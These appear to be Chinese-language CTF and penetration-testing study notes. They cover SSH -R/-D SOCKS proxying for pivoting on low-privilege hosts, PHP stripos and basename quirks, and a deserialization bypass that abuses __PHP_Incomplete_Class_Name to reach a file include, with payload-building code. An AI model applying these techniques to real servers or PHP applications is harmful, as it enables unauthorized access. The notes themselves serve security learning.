ssh -R和-D
先来说说-R
这是个很神奇的参数,有两种用法
- -R 1080
- -R 1080:localhost:1080
后者和-L用法是反过来的,-L是将远端端口映射到本地端口,这样在本地就能访问远端服务器的服务。-R则是将本地端口映射到远端,这样在远端就能访问本地端口的服务。
前者就厉害了,研究时被AI误导了很久
注意框起来这段话,意思就是,在不使用localhost等指定本地映射的地址和端口号时,会在本地(运行ssh指令的这台机器)自动起一个socks4/5代理服务,并且不会进行转发功能(经过测试得知)。所以如果你想要转发功能而不是让ssh帮你起一个socks4/5,就要写完整。而且ssh起的这个socks代理并不好用,会出现export https_proxy无法正常生效的问题(但proxychains可以)
-D就更厉害了,如果在远端服务器上有一些需要你访问,但你又没有权限运行一些类似gost这样的代理工具,就可以用-D来搭建一个socks服务。不仅可以用-L,也可以用-D,-D的原理是在远端起一个socks4/5代理,你只需要在自己电脑上的浏览器将代理地址修改成127.0.0.1:1080,就能用ssh帮你在远端起的代理访问远端的服务,非常适合在低权限渗透环境下使用的一个参数
stripos(‘akared’,$b)
正常情况下,会返回akared所在的起始位置,没找到返回false
如果$b为数组,stripos则会返回null
basename($a)
假设$a='/var/www/html/../ii.php';
,会返回ii.php
而且各种截断手法在这里基本没有作用,只有一点值得关注,就是特殊字符会被它删掉,比如中文、%ff
对__PHP_Incomplete_Class_Name的补充
在靶场笔记第24章有对__PHP_Incomplete_Class的介绍,最近在CTF里碰到了,再补充一点
当我们手动为__PHP_Incomplete_Class
类赋值并反序列化再序列化它时,他会将储存的内容清除。但如果我们手动赋值的是__PHP_Incomplete_Class_Name
,它会将它所赋的值在serialize时将类名覆盖成我们赋的值,具体用法如下
<?php
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(unserialize($raw));
var_dump(serialize(unserialize($raw)));
//
object(__PHP_Incomplete_Class)#1 (2) {
["__PHP_Incomplete_Class_Name"]=>
string(1) "F"
["a"]=>
string(1) "b"
}
string(28) "O:1:"F":1:{s:1:"a";s:1:"b";}"
这种特性就可以用来绕过下面这种情况
public $value;
$ser = serialize(unserialize($this->value));
$instance = unserialize($ser);
if ($ser != $this->value && $instance instanceof Access) {
include($instance->getToken());
}
我们的目标是让$instance=new Access;
,要达到这一点就是要让$ser='O:6:"Access:"...'
,但$value
的值又不能和$ser
一样,因此我们要找一个能经过serialize(unserialize())
处理后与目的一致且字符串又不是$ser
的技巧,也就是我们的__PHP_Incomplete_Class_Name
具体生成payload如下
$token = new Access();
$ser = serialize($token);
$ser = str_replace('Access":2', 'LilRan":3', $ser);
$ser = substr($ser, 0, -1);
$ser .= 's:27:"__PHP_Incomplete_Class_Name";s:6:"Access";}';
$user->value = $ser;
这样经过两层处理后的$value
不仅能达到我们目标$ser
的效果,又和$ser
在字符串上不一样,因此就能绕过